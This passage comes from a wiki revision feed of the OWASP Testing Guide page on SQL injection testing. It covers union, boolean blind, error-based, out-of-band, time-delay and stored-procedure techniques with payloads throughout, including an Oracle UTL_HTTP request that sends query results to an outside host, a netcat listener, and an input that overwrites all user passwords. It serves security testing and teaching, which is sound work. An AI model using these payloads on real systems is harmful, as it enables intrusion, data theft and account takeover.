&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
If the query fails, the tester will probably see a message like:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;All cells in a column must have the same datatype&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
If the query executes with success, the first column can be an integer. Then the tester can move further and so on:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
After the successful information gathering, depending on the application, it may only show the tester the first result, because the application treats only the first line of the result set. In this case, it is possible to use a LIMIT clause or the tester can set an invalid value, making only the second query valid (supposing there is no entry in the database which ID is 99999):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==== Boolean Exploitation Technique ====&lt;br /&gt;
 &lt;br /&gt;
The Boolean exploitation technique is very useful when the tester finds a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. For example, this behavior happens in cases where the programmer has created a custom error page that does not reveal anything on the structure of the query or on the database. (The page does not return a SQL error, it may just return a HTTP 500, 404, or redirect). &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
By using inference methods, it is possible to avoid this obstacle and thus to succeed in recovering the values of some desired fields. This method consists of carrying out a series of boolean queries against the server, observing the answers and finally deducing the meaning of such answers. We consider, as always, the www.example.com domain and we suppose that it contains a parameter named id vulnerable to SQL injection. This means that carrying out the following request:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?id=1'&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
We will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='$Id' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Which is exploitable through the methods seen previously. What we want to obtain is the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present in practically every database. For our examples, we will use the following pseudo-functions:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''SUBSTRING (text, start, length)''': returns a substring starting from the position &amp;amp;quot;start&amp;amp;quot; of text and of length&lt;br /&gt;
&amp;amp;quot;length&amp;amp;quot;. If &amp;amp;quot;start&amp;amp;quot; is greater than the length of text, the function returns a null value.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''ASCII (char)''': it gives back ASCII value of the input character. A null value is returned if char is 0.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''LENGTH (text)''': it gives back the number of characters in the input text.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Through such functions, we will execute our tests on the first character and, when we have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. The tests will take advantage of the function SUBSTRING, in order to select only one character at a time (selecting a single character means to impose the length parameter to 1), and the function ASCII, in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of the ASCII table, until the right value is found. As an example, we will use the following value for ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
That creates the following query (from now on, we will call it &amp;amp;quot;inferential query&amp;amp;quot;):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The previous example returns a result if and only if the first character of the field username is equal to the ASCII value 97. If we get a false value, then we increase the index of the ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the ASCII table and we analyze the next character, modifying the parameters of the SUBSTRING function. The problem is to understand in which way we can distinguish tests returning a true value from those that return false. To do this, we create a query that always returns false. This is possible by using the following value for ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND '1' = '2 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Which will create the following query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The obtained response from the server (that is HTML code) will be the false value for our tests. This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test executed before. Sometimes, this method does not work. If the server returns two different pages as a result of two identical consecutive web requests, we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two templates in order&lt;br /&gt;
to decide the result of the test.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In the previous discussion, we haven't dealt with the problem of determining the termination condition for out tests, i.e., when we should end the inference procedure. A techniques to do this uses one characteristic of the SUBSTRING function and the LENGTH function. When the test compares the current character with the ASCII code 0 (i.e., the value null) and the test returns the value true, then either we are done with the inference procedure (we have scanned the whole string), or the value we have analyzed contains the null character.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will insert the following value for the field ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND LENGTH(username)=N AND '1' = '1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Where N is the number of characters that we have analyzed up to now (not counting the null value). The query will be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The query returns either true or false. If we obtain true, then we have completed the inference and, therefore, we know the value of the parameter. If we obtain false, this means that the null character is present in the value of the parameter, and we must continue to analyze the next parameter until we find another null value.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The blind SQL injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==== Error based Exploitation technique ====&lt;br /&gt;
  &lt;br /&gt;
An Error based exploitation technique is useful when the tester for some reason can’t exploit the SQL injection vulnerability using other technique such as UNION. The Error based technique consists in forcing the database to perform some operation in which the result will be an error. The point here is to try to extract some data from the database and show it in the error message. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be (e.g. Oracle 10g):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this example, the tester is concatenating the value 10 with the result of the function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the host name of the parameter passed to it, which is other query, the name of the user. When the database looks for a host name with the user database name, it will fail and return an error message like:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;ORA-292257: host SCOTT unknown&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Then the tester can manipulate the parameter passed to GET_HOST_NAME() function and the result will be shown in the error message.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==== Out of band Exploitation technique ====&lt;br /&gt;
  &lt;br /&gt;
This technique is very useful when the tester find a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. The technique consists of the use of DBMS functions to perform an out of band connection and deliver the results of the injected query as part of the request to the tester’s server. Like the error based techniques, each DBMS has its own functions. Check for specific DBMS section.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELET user FROM DUAL)--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this example, the tester is concatenating the value 10 with the result of the function UTL_HTTP.request. This Oracle function will try to connect to ‘testerserver’ and make a HTTP GET request containing the return from the query “SELECT user FROM DUAL”.  The tester can set up a webserver (e.g. Apache) or use the Netcat tool:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
/home/tester/nc –nLp 80&lt;br /&gt;
 &lt;br /&gt;
GET /SCOTT HTTP/1.1&lt;br /&gt;
Host: testerserver.com&lt;br /&gt;
Connection: close&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
==== Time delay Exploitation technique ====&lt;br /&gt;
  &lt;br /&gt;
The time delay exploitation technique is very useful when the tester find a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. This technique consists in sending an injected query and in case the conditional is true, the tester can monitor the time taken to for the server to respond. If there is a delay, the tester can assume the result of the conditional query is true. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be (e.g. MySql 5.x):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this example the tester if checking whether the MySql version is 5.x or not, making the server to delay the answer by 10 seconds. The tester can increase the delay time and monitor the responses. The tester also doesn’t need to wait for the response. Sometimes he can set a very high value (e.g. 100) and cancel the request after some seconds.&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
==== Stored Procedure Injection ====&lt;br /&gt;
  &lt;br /&gt;
When using dynamic SQL within a stored procedure, the application must properly sanitize the user input to eliminate the risk of code injection. If not sanitized, the user could enter malicious SQL that will be executed within the stored procedure.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following '''SQL Server Stored Procedure:'''&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Create procedure user_login @username varchar(20), @passwd varchar(20) &lt;br /&gt;
As&lt;br /&gt;
Declare @sqlstring varchar(250)&lt;br /&gt;
Set @sqlstring  = ‘&lt;br /&gt;
Select 1 from users&lt;br /&gt;
Where username = ‘ + @username + ‘ and passwd = ‘ + @passwd&lt;br /&gt;
exec(@sqlstring)&lt;br /&gt;
Go&lt;br /&gt;
&lt;br /&gt;
User input:&lt;br /&gt;
anyusername or 1=1'&lt;br /&gt;
anypassword&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This procedure does not sanitize the input, therefore allowing the return value to show an existing record with theseparameters.&amp;lt;br&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a user, but consider a dynamic reporting query where the user selects the columns to view. The user could insert malicious code into this scenario and compromise the data. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Consider the following '''SQL Server Stored Procedure:'''&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Create&lt;br /&gt;
procedure get_report @columnamelist varchar(7900)&lt;br /&gt;
As&lt;br /&gt;
Declare @sqlstring varchar(8000)&lt;br /&gt;
Set @sqlstring  = ‘&lt;br /&gt;
Select ‘ + @columnamelist + ‘ from ReportTable‘&lt;br /&gt;
exec(@sqlstring)&lt;br /&gt;
Go&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
User input:&lt;br /&gt;
&lt;br /&gt;
1 from users; update users set password = 'password'; select *&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This will result in the report running and all users’ passwords being updated.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==== Automated Exploitation ====&lt;br /&gt;
 &lt;br /&gt;
Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap:&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/index.php/Automated_Audit_using_SQLMap&lt;br /&gt;
&lt;br /&gt;
==Tools==&lt;br /&gt;
* SQL Injection Fuzz Strings (from wfuzz tool) - https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/SQL.txt&lt;br /&gt;
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]&lt;br /&gt;
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector]&amp;lt;br&amp;gt;&lt;br /&gt;
* ilo--, Reversing.org - [http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html sqlbftools]&amp;lt;br&amp;gt;&lt;br /&gt;
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/&lt;br /&gt;
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]&lt;br /&gt;
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/productservice/pangolin/ Pangolin]&lt;br /&gt;
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/&lt;br /&gt;
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://sqldumper.ruizata.com/ SqlDumper]&amp;lt;br&amp;gt;&lt;br /&gt;
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [[Top 10 2013-A1-Injection]]&lt;br /&gt;
* [[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
Technology specific Testing Guide pages have been created for the following DBMSs:&lt;br /&gt;
* [[Testing for Oracle| Oracle]]&lt;br /&gt;
* [[Testing for MySQL| MySQL]]&lt;br /&gt;
* [[Testing for SQL Server  | SQL Server]]&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Victor Chapela: &amp;quot;Advanced SQL Injection&amp;quot; - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt&lt;br /&gt;
* Chris Anley: &amp;quot;Advanced SQL Injection In SQL Server Applications&amp;quot; - https://sparrow.ece.cmu.edu/group/731-s11/readings/anley-sql-inj.pdf&lt;br /&gt;
* Chris Anley: &amp;quot;More Advanced SQL Injection&amp;quot; - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf&lt;br /&gt;
* David Litchfield: &amp;quot;Data-mining with SQL Injection and Inference&amp;quot; - http://www.databasesecurity.com/webapps/sqlinference.pdf&lt;br /&gt;
* Imperva: &amp;quot;Blinded SQL Injection&amp;quot; - https://www.imperva.com/lg/lgw.asp?pid=369&lt;br /&gt;
* Ferruh Mavituna: &amp;quot;SQL Injection Cheat Sheet&amp;quot; - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/&lt;br /&gt;
* Kevin Spett from SPI Dynamics: &amp;quot;SQL Injection&amp;quot; - https://docs.google.com/file/d/0B5CQOTY4YRQCSWRHNkNaaFMyQTA/edit&lt;br /&gt;
* Kevin Spett from SPI Dynamics: &amp;quot;Blind SQL Injection&amp;quot; - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf&lt;br /&gt;
&lt;br /&gt;
'''Documentation on SQL injection vulnerabilities in products'''&lt;br /&gt;
&lt;br /&gt;
* [https://www.vanstechelman.eu/content/anatomy-of-the-sql-injection-in-drupals-database-comment-filtering-system-sa-core-2015-003 Anatomy of the SQL injection in Drupal's database comment filtering system SA-CORE-2015-003]&lt;/div&gt;</summary>
		<author><name>Thompsnm</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=210705</id>
		<title>Testing for SQL Injection (OTG-INPVAL-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=210705"/>
				<updated>2016-03-09T02:24:34Z</updated>
		
		<summary type="html">&lt;p&gt;Thompsnm: /* Summary */ - add 'is' to a sentence that lacked a verb&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
                &lt;br /&gt;
== Summary == &lt;br /&gt;
An [[SQL injection]] attack consists of insertion or &amp;amp;quot;injection&amp;amp;quot; of either a partial or complete SQL query via the data input or transmitted from the client (browser) to the web application. A successful SQL injection attack can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system or write files into the file system, and, in some cases, issue commands to the operating system. SQL injection attacks are a type of [[injection attack]], in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In general the way web applications construct SQL statements involving SQL syntax written by the programmers is mixed with user-supplied data. Example:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;select title, text from news where id=$id&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
In the example above the variable $id contains user-supplied data, while the remainder is the SQL static part supplied by the programmer; making the SQL statement dynamic.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Because the way it was constructed, the user can supply crafted input trying to make the original SQL statement execute further actions of the user's choice. The example below illustrates the user-supplied data “10 or 1=1”, changing the logic of the SQL statement, modifying the WHERE clause adding a condition “or 1=1”.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;select title, text from news where id=10 or 1=1&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
SQL Injection attacks can be divided into the following three classes:&lt;br /&gt;
&lt;br /&gt;
* Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.&lt;br /&gt;
* Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).&lt;br /&gt;
* Inferential or Blind: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
A successful SQL Injection attack requires the attacker to craft a syntactically correct SQL Query. If the application returns an error message generated by an incorrect query, then it may be easier for an attacker to reconstruct the logic of the original query and, therefore, understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query. &lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
About the techniques to exploit SQL injection flaws there are five commons techniques. Also those techniques sometimes can be used in a combined way (e.g. union operator and out-of-band):&lt;br /&gt;
 &lt;br /&gt;
* Union Operator: can be used when the SQL injection flaw happens in a SELECT statement, making it possible to combine two queries into a single result or result set.&lt;br /&gt;
* Boolean: use Boolean condition(s) to verify whether certain conditions are true or false.&lt;br /&gt;
* Error based: this technique forces the database to generate an error, giving the attacker or tester information upon which to refine their injection.&lt;br /&gt;
* Out-of-band: technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).&lt;br /&gt;
* Time delay: use database commands (e.g. sleep) to delay answers in conditional queries. It is useful when attacker doesn’t have some kind of answer (result, output, or error) from the application.&lt;br /&gt;
&lt;br /&gt;
==How to Test== &lt;br /&gt;
&lt;br /&gt;
===Detection Techniques===&lt;br /&gt;
The first step in this test is to understand when the application interacts with a DB Server in order to access some data. Typical examples of cases when an application needs to talk to a DB include:&lt;br /&gt;
&lt;br /&gt;
* Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes).&lt;br /&gt;
* Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database.&lt;br /&gt;
* E-Commerce sites: the products and their characteristics (price, description, availability, etc) are very likely to be stored in a  database.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The tester has to make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error. Consider also HTTP headers and Cookies. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The very first test usually consists of adding a single quote (') or a semicolon (;) to the field or parameter under test. The first is used in SQL as a string terminator and, if not filtered by the application, would lead to an incorrect query. The second is used to end a SQL statement and, if it is not filtered, it is also likely to generate an error. The output of a vulnerable field might resemble the following (on a Microsoft SQL Server, in this case):&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e14'&lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the &lt;br /&gt;
character string ''.&lt;br /&gt;
/target/target.asp, line 113&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Also comment delimiters (-- or /* */, etc) and other SQL keywords like 'AND' and 'OR' can be used to try to modify the query. A very simple but sometimes still effective technique is simply to insert a string where a number is expected, as an error like the following might be generated:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; Microsoft OLE DB Provider for ODBC Drivers error '80040e07'&lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the&lt;br /&gt;
varchar value 'test' to a column of data type int.&lt;br /&gt;
/target/target.asp, line 113&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Monitor all the responses from the web server and have a look at the HTML/javascript source code. Sometimes the error is present inside them but for some reason (e.g. javascript error, HTML comments, etc) is not presented to the user. A full error message, like those in the examples, provides a wealth of information to the tester in order to mount a successful injection attack. However, applications often do not provide so much detail: a simple '500 Server Error' or a custom error page might be issued, meaning that we need to use blind injection techniques. In any case, it is very important to test each field separately: only one variable must vary while all the other remain constant, in order to precisely understand which parameters are vulnerable and which are not.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
==== Standard SQL Injection Testing ====&lt;br /&gt;
&lt;br /&gt;
 Example 1 (classical SQL Injection):&lt;br /&gt;
&lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE Username='$username' AND Password='$password'&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that set of credentials exists, then the user is allowed to login to the system, otherwise access is denied. The values of the input fields are generally obtained from the user through a web form. Suppose we insert the following Username and Password values:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = 1' or '1' = '1&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The query will be:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&amp;amp;amp;password=1'%20or%20'1'%20=%20'1 &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
After a short analysis we notice that the query returns a value (or a set of values) because the condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password.&amp;lt;br&amp;gt; ''In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases.'' Another example of query is the following:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. First of all, we resolve the problem of the parentheses. That simply consists of adding a number of closing parentheses until we obtain a corrected query. To resolve the second problem, we try to evade the second condition. We add to our query a final symbol that means that a comment is beginning. In this way, everything that follows such symbol is considered a comment. Every DBMS has its own syntax for comments, however, a common symbol to the greater majority of the databases is /*. In Oracle the symbol is &amp;amp;quot;--&amp;amp;quot;. This said, the values that we'll use as Username and Password are:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1'))/*&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = foo&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
In this way, we'll get the following query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) &amp;lt;/pre&amp;gt;&lt;br /&gt;
(Due to the inclusion of a comment delimiter in the $username value the password portion of the query will be ignored.)&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The URL request will be:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&amp;amp;amp;password=foo &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
This may return a number of values. Sometimes, the authentication code verifies that the number of returned records/results is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user). In order to go around this problem, it is enough to insert a SQL command that imposes a condition that the number of the returned results must be one. (One record returned) In order to reach this goal, we use the operator &amp;amp;quot;LIMIT &amp;amp;lt;num&amp;amp;gt;&amp;amp;quot;, where &amp;amp;lt;num&amp;amp;gt; is the number of the results/records that we want to be returned. With respect to the previous example, the value of the fields Username and Password will be modified as follows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1')) LIMIT 1/* &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = foo &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
In this way, we create a request like the follow:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&amp;amp;amp;password=foo &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
Example 2 (simple SELECT statement):&lt;br /&gt;
&lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
